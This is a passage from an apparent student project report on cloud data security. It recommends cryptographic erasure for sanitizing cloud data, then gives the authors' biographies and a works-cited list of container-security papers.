With regards to cloud data sanitization, we recommend cryptographic erasure as the most economical solution over the other two: physical destruction and data erasure. As we learnt from David that “there is no ideal option for sanitization, but cryptographic erasure is the preferred method as it uses the cryptography the encryption for practical purposes which is considered as the most secured. Whereas data erasure is susceptible to electromagnetic hysteresis means that trace images of previously recorded data may be recoverable even after the erasure and physical destruction, although the only method to ensure permanent erasure. Unfortunately, this approach is not often practical, it is cost prohibitive.” Technical approach for cloud data sanitization and lightweight secure cloud implementation section above gives solution for a data sanitization. Secured cloud sharing platform would really help to minimize data breach. Even if the attackers get access to hardware which is incompletely deleted will not be able to gain access as they are cryptographically secured.

In the end, when it comes to considering solutions for data security in the cloud, be it on virtual containers or cloud storage, there are a couple of key things to keep in mind. David states that “security is a continuum in constant search of balance”. Software engineers need to maintain a balance with the security solutions they develop between the “consequences of data compromise” and “impact on performance, functionality, and ease of use”. Security measures that “burden end users...administrator effort will quickly fall into ‘disuse’”. People have seen examples of this from the news from time to time from security breaches. Regardless, a security measure is as “good as those entities make them”.

Investigator Biographies

Khalid Abusultan

Khalid Abusultan is currently an undergraduate senior starting a Master's degree in Computer Science with a focus in Information Assurance through the fast-track program. He is proficient in Python, C, and C++. He developed various web applications using Python frameworks such as Flask and Django. And used C and C++ to develop multithreaded applications in a Unix environment where he used Linux command line. He has done relevant coursework in Operating Systems, C/C++ Programming in Unix Environment, Computer Networks. He is currently taking coursework in Network Security, Web Programming, and Senior design Project. He is interested in cyber security and cloud security.

Chetan

Garikapati

I have hands-on experience with enterprise application development as a full stack developer. I have done my undergraduate in computer science and gained knowledge on Computer Networks, Cryptography and Network Security and I am currently pursuing my Master's in Cybersecurity with specialization in Information Assurance, where I have taken Advanced Computer Networks, Data Application Security and Privacy and Network Security. I also have a good understanding of regulatory compliance like HIPPA and FISMA and I also have developed Secure cloud applications with file sharing using Public Key Cryptography and local key management solutions. I also have hands-on with Linux systems (Debian based) and I am currently preparing for CompTIA Security+ certification.

Giakhanh Hoang

Giakhanh Hoang is a first year, graduate student studying computer science with a concentration in information assurance at The University of Texas at Dallas. He graduated in December 2020 with his Bachelor's of Science in Computer Science from The University of Texas at Dallas and matriculated to graduate school via the fast-track program. He chose to study in information assurance as he believes it will play a much greater role in the coming years with an increasingly connected world. He has taken classes on network security, system security, and malicious code analysis. He is currently taking classes for data and applications security, wireless networks, and information security this semester. He has experience programming in Java, C/C++, and Python. He also has experience working with UNIX-based operating systems, basic networking protocols, and virtual machines including Docker.

Monish Alur Gowdru

Monish Alur Gowdru is currently a second-year graduate student, pursuing Master's in Computer Science with a concentration in Information Assurance at The University of Texas at Dallas. He has completed Advanced Operating Systems, Network Security, Data and Application Security, and Information Security. He has experience programming in Java and C/C++. He is familiar with security tools wireshark, nmap, gdb, ghidra, burp suite and postman. He also has experience with full-stack development and UNIX-based operating systems. He has worked on finding vulnerabilities in IoT devices for PetCare, designing UNIX

based file system and secure cloud platform for handling sensitive data. He is currently enrolled in Web Programming and Object-Oriented Analysis and Design.

Travious Lewis

Travious Lewis is currently a second-year graduate student, completing a Master's in Computer Science with a concentration in Information Assurance at The University of Texas at Dallas in Spring 2021. He graduated with a Bachelor of Science in Computer Engineering from Rose-Hulman Institute of Technology in 2019. He has been employed by IBM since 2019 working on projects that use a variety of technologies, including front and back-end web development, blockchain, cloud technologies such as Docker, Kubernetes, and Red Hat OpenShift, IoT, and IT automation. He has experience programming in JavaScript, Python, C/C++, Java, and Swift. He also is experienced with bash and working in Unix environments, microcontrollers, mobile application development, and multithreaded applications. He has completed coursework in Advanced Computer Networks, Advanced Operating Systems, Information Security, and Network Security. He is currently taking courses in Wireless Networks and Data & Applications Security this semester.

Works Cited

- [1] J. Chelladhurai, S. A. P. Kumar, and P. R. Chelliah, "Securing Docker Containers from Denial of Service (DoS) Attacks," in *2016 IEEE International Conference on Services Computing (SCC)*, 2016, pp. 856–859.
- [2] A. Martin, S. Raponi, T. Combe and R. Di Pietro, "Docker ecosystem – Vulnerability Analysis" Nokia Bell Labs. <https://cseweb.ucsd.edu/~dstefan/cse227-fall18/papers/martin:docker.pdf>
- [3] O. Tunde-Onadele, J. He, T. Dai and X. Gu, "A Study on Container Vulnerability Exploit Detection," 2019 IEEE International Conference on Cloud Engineering (IC2E), Prague, Czech Republic, 2019, pp. 121-127, doi: 10.1109/IC2E.2019.00026.
- [4] Lin, Xin, et al. "A measurement study on Linux container security: Attacks and countermeasures." *Proceedings of the 34th Annual Computer Security Applications Conference*. 2018.
<https://csis.gmu.edu/ksun/publications/container-acsc18.pdf>
- [5] Sultan, Sari, Imtiaz Ahmad, and Tassos Dimitriou. "Container security: Issues, challenges, and the road ahead." *IEEE Access* 7 (2019): 52976-52996. <https://ieeexplore.ieee.org/stamp/stamp.jsp?arnumber=8693491>
- [6] "Commercial National Security Algorithm Suite," *National Security Agency | Central Security Service*, 19-Aug-2015. [Online]. Available: <https://apps.nsa.gov/iad/programs/iad-initiatives/cnsa-suite.cfm>.